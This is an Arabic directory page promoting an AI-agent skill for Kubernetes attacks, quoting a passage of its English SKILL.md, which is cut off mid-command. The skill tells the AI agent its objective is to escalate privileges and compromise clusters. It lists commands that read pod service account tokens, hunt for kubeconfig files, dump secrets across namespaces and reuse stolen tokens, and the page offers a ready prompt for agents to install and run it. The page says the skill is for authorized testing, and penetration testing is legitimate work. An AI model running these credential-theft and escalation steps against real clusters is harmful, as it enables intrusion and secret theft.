offensive-k8s-attacks
ما الذي تفعله
هذه المهارة منهجية لاختبارات أمان مجموعات Kubernetes، وتغطي حسابات الخدمة وصلاحيات RBAC وكشف kubelet والوصول إلى بيانات metadata للسحابة. وهي موجهة لمختصي الأمن الذين يقيّمون أمان المجموعة بإذن كتابي.
متى تستخدمها
- ✓عندما تختبر مجموعة Kubernetes بحثًا عن أخطاء إعداد RBAC في تقييم مصرّح به.
- ✓عندما تريد أن تتحقق هل يستطيع حساب خدمة Pod الوصول إلى أكثر مما يجب.
- ✓عندما تحتاج إلى مراجعة كشف kubelet وetcd في اختبار مجموعة موافق عليه.
رابط المهارة
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-k8s-attacks/SKILL.mdانسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.
طريقة الاستخدام
أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.
رسالة جاهزة للصق
لـ Claude Code أو Codex أو Cursor: شغّله داخل مجلد مشروعك وستُثبَّت المهارة.
نزّل ملف SKILL.md وضعه في مجلد مهارات وكيلك.
مثال على ما تطلبه من الذكاء الاصطناعي
“لدينا تصريح لاختبار مجموعة Kubernetes لدينا. افحص صلاحيات حساب الخدمة وقواعد RBAC.”
5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.
كيف تعمل
تبدأ المهارة بتحديد موقعك، مثل صدفة Pod أو رمز مسروق أو ملف kubeconfig. ثم تعدّد الصلاحيات وتفحص مسارات التصعيد، مثل الأدوار الواسعة جدًا أو منافذ kubelet المكشوفة.
المحتوى التقني (ملف SKILL.md الأصلي)
النص الأصلي من المؤلف، مباشرة من GitHub.
Kubernetes Cluster Attacks
You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.
Quick Workflow
- Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
- Enumerate service account permissions, cluster roles, and accessible resources.
- Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
- Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
- Extract secrets, pivot to other namespaces, and target the control plane.
- Leverage cloud metadata or etcd access for infrastructure-wide compromise.
Phase 1: Initial Enumeration
Determining Your Position
# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes
# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT
# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local
# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token
Setting Up API Access Without kubectl
# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
${APISERVER}/api/v1/namespaces
# Shorthand function for repeated use
k8s_api() {
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
"${APISERVER}$1"
}
# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
-X POST -H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"
Automated Enumeration Tools
# kube-hunter - Kubernetes penetration testing tool
kube-hunter --active --remote $APISERVER
# peirates - Kubernetes penetration tool (run from within pod)
./peirates
# kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit all -f /path/to/kubeconfig
# kdigger - Kubernetes-focused container assessment
./kdigger dig all
# kubectl auth can-i - Check your permissions
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'
Phase 2: Service Account Token Theft and Abuse
Discovering Tokens
# Default service account token mount
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Projected service account tokens (newer clusters)
ls /var/run/secrets/kubernetes.io/serviceaccount/
# Files: token, ca.crt, namespace
# Search for tokens in environment variables and config files
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null
# Check mounted secrets in other pods (if you can list or exec)
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{"\n"}{end}'
# Look for tokens in etcd, configmaps, or environment variables
kubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token
Token Impersonation
# Use a stolen token to authenticate
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \
--certificate-authority="$CACERT" auth can-i --list
# Impersonate a service account (requires impersonate verb)
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kub
الأسئلة الشائعة
من أين يبدأ الاختبار؟
يمكن أن يبدأ من صدفة Pod أو رمز مسروق أو واجهة API مكشوفة أو ملف kubeconfig.
هل تفحص الوصول إلى السحابة أيضًا؟
نعم. تغطي الوصول إلى بيانات metadata للسحابة وروابط IAM السحابي بالمجموعة.
هل هي للاختبار المصرّح به فقط؟
نعم. كُتبت للتقييمات بإذن كتابي ونطاق محدد.
التفاصيل
الوصف الأصلي من المؤلف
Kubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decoding, admission controller bypass techniques, network policy bypass and lateral movement, cloud metadata
repo: SnailSploit/Claude-Red
الشعبية
- نجوم GitHub
- 10k
- الترتيب
- #11952
- الترخيص
- MIT
- آخر تحديث
- 12/10/2026
التعليقات
- …
المزيد من المهارات من هذا المستودع
offensive-active-directory
10kيساعد وكيلك على تخطيط اختبار أمني مصرّح به لـ Active Directory، من رسم الشبكة إلى إيجاد مسارات الهجوم نحو Domain Admin.
offensive-netexec
10kيساعد وكيلك على استخدام أداة NetExec (nxc) في الاختبارات الشبكية المصرّح بها، وتغطي البروتوكولات والمصادقة وفحوص بيانات الاعتماد.
offensive-api-abuse
10kيساعد وكيلك على تخطيط اختبارات أمان API مصرّح بها تبحث عن إساءة منطق العمل ومخاطر GraphQL وحالات السباق.
offensive-api-security
10kيساعد وكيلك على إجراء اختبارات أمان مصرّح بها لواجهات REST وgRPC وWebSocket، استنادًا إلى قائمة OWASP API Top 10.
مهارات مشابهة
openclaw-update
394kيساعد وكيلك على تحديث بوابة OpenClaw Gateway الموجودة، مع اختيار طريقة التحديث المناسبة لطريقة تثبيتها والحفاظ على جلستك.
diagnose-gateway
394kيساعد وكيلك على معرفة سبب فشل بوابة OpenClaw Gateway عبر فحص الإعدادات والقنوات والمنافذ دون تغيير أي شيء.
crabbox-apps
394kيساعد وكيلك على فتح تطبيق وتشغيله على جهاز سحابي مؤقت، ثم عرض واجهته في الشريط الجانبي للدردشة.